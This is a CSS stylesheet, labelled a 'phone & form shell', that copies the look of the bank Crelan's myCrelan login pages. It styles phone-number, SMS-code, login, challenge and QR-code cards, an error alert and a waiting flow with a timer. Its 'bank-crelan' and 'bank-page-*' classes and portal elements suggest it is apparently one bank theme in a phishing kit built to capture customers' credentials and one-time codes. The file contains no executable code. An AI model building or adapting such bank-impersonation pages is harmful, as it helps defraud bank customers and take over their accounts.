/* Crelan / myCrelan — phone & form shell */
:root {
    --cr-green: #00843d;
    --cr-green-dark: #006b32;
    --cr-lime: #c6d82e;
    --cr-text: #333;
    --cr-muted: #6b6b6b;
    --cr-bg: #f4f4f4;
    --cr-white: #fff;
    --cr-border: #d8d8d8;
    --cr-font: "Inter", "Segoe UI", Arial, sans-serif;
}

html:has(body.bank-crelan),
body.bank-crelan {
    margin: 0;
    padding: 0;
    border: 0;
    background: #fff;
}

body.bank-crelan {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    font-family: var(--cr-font);
    color: var(--cr-text);
    -webkit-font-smoothing: antialiased;
}

/* —— Header —— */
.cr-header {
    background: #fff;
    position: relative;
    margin: 0;
    padding: 0;
    border: 0;
    box-shadow: none;
    flex-shrink: 0;
    overflow: visible;
    z-index: 40;
}

.cr-header__bar {
    height: 5px;
    width: 100%;
    background: linear-gradient(90deg, var(--cr-green) 0%, #5aaa2e 42%, var(--cr-lime) 100%);
}

.cr-header__inner {
    max-width: 1100px;
    margin: 0 auto;
    padding: 0 1.25rem;
    display: flex;
    align-items: center;
    justify-content: flex-end;
    position: relative;
    height: 56px;
    box-sizing: border-box;
    overflow: visible;
}

.cr-brand {
    position: absolute;
    left: 1.25rem;
    top: 50%;
    transform: translateY(-50%);
    display: flex;
    align-items: center;
    text-decoration: none;
    line-height: 0;
    z-index: 2;
}

.cr-brand img {
    display: block;
    height: 36px;
    width: auto;
    max-height: 36px;
    object-fit: contain;
}

.cr-lang {
    position: relative;
    z-index: 5;
}

.cr-lang__btn {
    display: inline-flex;
    align-items: center;
    gap: 0.25rem;
    border: 0;
    background: transparent;
    color: var(--cr-text);
    font: inherit;
    font-size: 0.875rem;
    font-weight: 500;
    cursor: pointer;
    padding: 0.25rem 0.15rem;
}

.cr-lang__btn svg {
    opacity: 0.7;
}

.cr-lang__menu {
    position: absolute;
    top: calc(100% + 0.35rem);
    right: 0;
    min-width: 10.5rem;
    background: #fff;
    border: 1px solid #e4e4e4;
    box-shadow: 0 4px 16px rgba(0, 0, 0, 0.1);
    padding: 0.25rem 0;
    z-index: 20;
}

.cr-lang__option {
    display: block;
    width: 100%;
    border: 0;
    background: transparent;
    text-align: left;
    font: inherit;
    font-size: 0.8125rem;
    color: var(--cr-text);
    padding: 0.55rem 0.85rem;
    cursor: pointer;
}

.cr-lang__option:hover,
.cr-lang__option.is-active {
    background: #f4f8f4;
    color: var(--cr-green);
}

/* —— Main —— */
.cr-main {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 1.15rem 1rem 2.5rem;
    box-sizing: border-box;
    background: var(--cr-bg);
}

.cr-title {
    margin: 0 0 1.5rem;
    font-size: 1.25rem;
    font-weight: 700;
    color: #2a2a2a;
    text-align: center;
    padding-bottom: 0.45rem;
    border-bottom: 3px solid var(--cr-green);
    display: inline-block;
    /* Same underline width on every page (phone / sms / login / …) */
    width: 11rem;
    box-sizing: border-box;
}

.cr-card {
    width: 100%;
    max-width: 34rem;
    background: var(--cr-white);
    border: 1px solid #e4e4e4;
    box-shadow: 0 1px 4px rgba(0, 0, 0, 0.06);
    padding: 1.75rem 1.75rem 1.5rem;
    box-sizing: border-box;
    display: grid;
    grid-template-columns: auto 1fr;
    gap: 1.25rem 1.35rem;
    align-items: start;
}

.cr-card__icon {
    width: 2.75rem;
    height: 2.75rem;
    color: var(--cr-green);
    margin-top: 0.15rem;
}

.cr-card__icon svg {
    display: block;
    width: 100%;
    height: 100%;
}

.cr-card__body {
    min-width: 0;
}

.cr-card__hint {
    margin: 0 0 0.85rem;
    font-size: 0.9375rem;
    color: var(--cr-text);
    display: flex;
    align-items: center;
    gap: 0.35rem;
    flex-wrap: wrap;
}

.cr-help {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 1.05rem;
    height: 1.05rem;
    border-radius: 50%;
    border: 1px solid #9a9a9a;
    color: #7a7a7a;
    font-size: 0.7rem;
    font-weight: 700;
    line-height: 1;
    text-decoration: none;
    flex-shrink: 0;
}

.cr-input {
    width: 100%;
    box-sizing: border-box;
    padding: 0.7rem 0.85rem;
    border: 2px solid var(--cr-green);
    border-radius: 2px;
    font: inherit;
    font-size: 1rem;
    color: var(--cr-text);
    background: var(--cr-white);
    outline: none;
}

.cr-input::placeholder {
    color: #b0b0b0;
}

.bank-page-phone .cr-input,
.bank-page-phone .cr-input::placeholder {
    text-align: center;
}

.cr-input:focus {
    border-color: var(--cr-green-dark);
    box-shadow: 0 0 0 3px rgba(0, 132, 61, 0.12);
}

.cr-actions {
    grid-column: 2;
    display: flex;
    justify-content: flex-end;
    margin-top: 0.15rem;
}

.cr-btn {
    appearance: none;
    border: 0;
    background: var(--cr-green);
    color: #fff;
    font: inherit;
    font-size: 0.9375rem;
    font-weight: 700;
    padding: 0.65rem 1.35rem;
    border-radius: 3px;
    cursor: pointer;
    min-width: 7.5rem;
}

.cr-btn:hover {
    background: var(--cr-green-dark);
}

.cr-btn--full,
.cr-card--qr .cr-btn,
.cr-card--qr .portal-qr-btn {
    width: 100%;
    min-width: 0;
    margin-top: 1rem;
}

.cr-card--qr .portal-qr-frame {
    margin: 1rem auto;
    max-width: 220px;
}

.cr-card--qr .portal-qr-image {
    max-width: 100%;
    height: auto;
}

.cr-qr-hint {
    margin: 0.65rem 0 0;
    font-size: 0.75rem;
    color: var(--cr-muted);
    text-align: center;
}

.cr-card--aw .aw-title,
.cr-card--aw .aw-rule:first-of-type {
    display: none;
}

.cr-card--aw .aw-flow {
    margin: 0;
}

.cr-card--aw .aw-lead {
    color: var(--cr-text);
}

.cr-card--aw .aw-text,
.cr-card--aw .aw-status,
.cr-card--aw .aw-note,
.cr-card--aw .aw-timer {
    color: var(--cr-muted);
}

.cr-card--simple {
    display: block;
    max-width: 34rem;
}

.cr-card--simple .cr-label {
    display: block;
    font-size: 0.8125rem;
    font-weight: 500;
    color: var(--cr-muted);
    margin: 0.85rem 0 0.35rem;
}

.cr-card--simple .cr-input {
    margin-bottom: 0.15rem;
}

.cr-card--simple .cr-actions {
    margin-top: 1.15rem;
}

.cr-lead {
    margin: 0 0 0.5rem;
    font-size: 0.9375rem;
    color: var(--cr-muted);
    line-height: 1.45;
}

.cr-alert {
    margin: 0 0 1rem;
    padding: 0.75rem 0.9rem;
    background: #fde8e8;
    border: 1px solid #f5b5b5;
    color: #9b1c1c;
    font-size: 0.875rem;
}

.cr-challenge {
    margin: 0 0 0.85rem;
    font-size: 0.875rem;
    color: var(--cr-muted);
}

/* —— Footer —— */
.cr-footer {
    padding: 1rem 1.25rem 1.5rem;
    text-align: center;
    font-size: 0.75rem;
    color: #8a8a8a;
    line-height: 1.5;
    background: var(--cr-bg);
}

.cr-footer a {
    color: inherit;
    text-decoration: none;
}

.cr-footer a:hover {
    text-decoration: underline;
}

.cr-footer__sep {
    margin: 0 0.35rem;
    opacity: 0.7;
}

@media (max-width: 560px) {
    .cr-card {
        grid-template-columns: 1fr;
        gap: 0.85rem;
        padding: 1.35rem 1.15rem 1.25rem;
    }

    .cr-card__icon {
        width: 2.25rem;
        height: 2.25rem;
    }

    .cr-actions {
        grid-column: 1;
    }

    .cr-header__inner {
        height: 52px;
    }

    .cr-brand img {
        height: 32px;
    }
}
